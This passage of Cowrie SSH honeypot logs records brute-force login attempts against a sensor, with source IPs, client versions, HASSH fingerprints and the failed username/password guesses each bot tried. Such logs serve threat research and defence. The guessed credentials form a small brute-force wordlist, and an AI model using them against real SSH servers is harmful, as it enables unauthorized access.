","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:48:58.591823Z","src_ip":"118.26.36.195","session":"7d7b11b0c7b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.177.101.45","src_port":51236,"dst_ip":"10.17.0.5","dst_port":22,"session":"8de0b41294ce","protocol":"ssh","message":"New connection: 81.177.101.45:51236 (10.17.0.5:22) [session: 8de0b41294ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:48:59.041137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:48:59.045302Z","src_ip":"81.177.101.45","session":"8de0b41294ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:48:59.168637Z","src_ip":"81.177.101.45","session":"8de0b41294ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"0000","message":"login attempt [test/0000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:48:59.495130Z","src_ip":"118.26.36.195","session":"7d7b11b0c7b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sispac","message":"login attempt [root/sispac] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:48:59.725959Z","src_ip":"81.177.101.45","session":"8de0b41294ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:00.714781Z","src_ip":"118.26.36.195","session":"7d7b11b0c7b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:00.851899Z","src_ip":"81.177.101.45","session":"8de0b41294ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.170.38","src_port":33510,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cdc6a4729bc","protocol":"ssh","message":"New connection: 160.22.170.38:33510 (10.17.0.5:22) [session: 6cdc6a4729bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:00.950465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:00.954729Z","src_ip":"160.22.170.38","session":"6cdc6a4729bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:02.046181Z","src_ip":"160.22.170.38","session":"6cdc6a4729bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lucas@2026","message":"login attempt [root/Lucas@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:03.213590Z","src_ip":"160.22.170.38","session":"6cdc6a4729bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:04.523786Z","src_ip":"160.22.170.38","session":"6cdc6a4729bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.76.134.52","src_port":35366,"dst_ip":"159.203.135.109","dst_port":22,"session":"f83c4f5fa103","protocol":"ssh","message":"New connection: 177.76.134.52:35366 (159.203.135.109:22) [session: f83c4f5fa103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:09.602317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:09.606472Z","src_ip":"177.76.134.52","session":"f83c4f5fa103","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:09.767155Z","src_ip":"177.76.134.52","session":"f83c4f5fa103","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.251.245.88","src_port":50274,"dst_ip":"10.17.0.5","dst_port":22,"session":"25ad39590908","protocol":"ssh","message":"New connection: 211.251.245.88:50274 (10.17.0.5:22) [session: 25ad39590908]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:10.372468Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345@abcde","message":"login attempt [root/12345@abcde] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:10.376216Z","src_ip":"177.76.134.52","session":"f83c4f5fa103","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:10.384616Z","src_ip":"211.251.245.88","session":"25ad39590908","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:10.597014Z","src_ip":"211.251.245.88","session":"25ad39590908","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stefan","password":"stefan","message":"login attempt [stefan/stefan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:11.475801Z","src_ip":"211.251.245.88","session":"25ad39590908","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:11.567738Z","src_ip":"177.76.134.52","session":"f83c4f5fa103","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:12.689813Z","src_ip":"211.251.245.88","session":"25ad39590908","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.55.144.22","src_port":36054,"dst_ip":"159.203.135.109","dst_port":22,"session":"273e53338a75","protocol":"ssh","message":"New connection: 14.55.144.22:36054 (159.203.135.109:22) [session: 273e53338a75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:17.621058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:17.624797Z","src_ip":"14.55.144.22","session":"273e53338a75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:17.831057Z","src_ip":"14.55.144.22","session":"273e53338a75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xX@123456","message":"login attempt [root/xX@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:18.687111Z","src_ip":"14.55.144.22","session":"273e53338a75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:19.897232Z","src_ip":"14.55.144.22","session":"273e53338a75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.50","src_port":39198,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8bff20faf11","protocol":"ssh","message":"New connection: 92.118.39.50:39198 (159.203.135.109:22) [session: b8bff20faf11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:37.649029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:37.748587Z","src_ip":"92.118.39.50","session":"b8bff20faf11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:37.751271Z","src_ip":"92.118.39.50","session":"b8bff20faf11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:38.856924Z","src_ip":"92.118.39.50","session":"b8bff20faf11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:40.017812Z","src_ip":"92.118.39.50","session":"b8bff20faf11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.160.173.22","src_port":57158,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bec84de6729","protocol":"ssh","message":"New connection: 124.160.173.22:57158 (10.17.0.5:22) [session: 4bec84de6729]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:49.026300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:49.030316Z","src_ip":"124.160.173.22","session":"4bec84de6729","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:50.330438Z","src_ip":"124.160.173.22","session":"4bec84de6729","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Support2024@","message":"login attempt [root/Support2024@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:49:51.903708Z","src_ip":"124.160.173.22","session":"4bec84de6729","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":32834,"dst_ip":"159.203.135.109","dst_port":22,"session":"6511750ee626","protocol":"ssh","message":"New connection: 103.149.28.157:32834 (159.203.135.109:22) [session: 6511750ee626]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:02.536922Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:02.555162Z","src_ip":"103.149.28.157","session":"6511750ee626","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:02.812843Z","src_ip":"103.149.28.157","session":"6511750ee626","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alexandra1","message":"login attempt [root/alexandra1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:03.584858Z","src_ip":"103.149.28.157","session":"6511750ee626","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:04.843769Z","src_ip":"103.149.28.157","session":"6511750ee626","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.55","src_port":56612,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c4af3b523fe","protocol":"ssh","message":"New connection: 80.94.92.55:56612 (159.203.135.109:22) [session: 1c4af3b523fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:16.220701Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.78.1.33","src_port":40358,"dst_ip":"10.17.0.5","dst_port":22,"session":"106ef5e53f9b","protocol":"ssh","message":"New connection: 103.78.1.33:40358 (10.17.0.5:22) [session: 106ef5e53f9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:16.774668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T14:50:16.779324Z","src_ip":"103.78.1.33","session":"106ef5e53f9b","protocol":"ssh"}
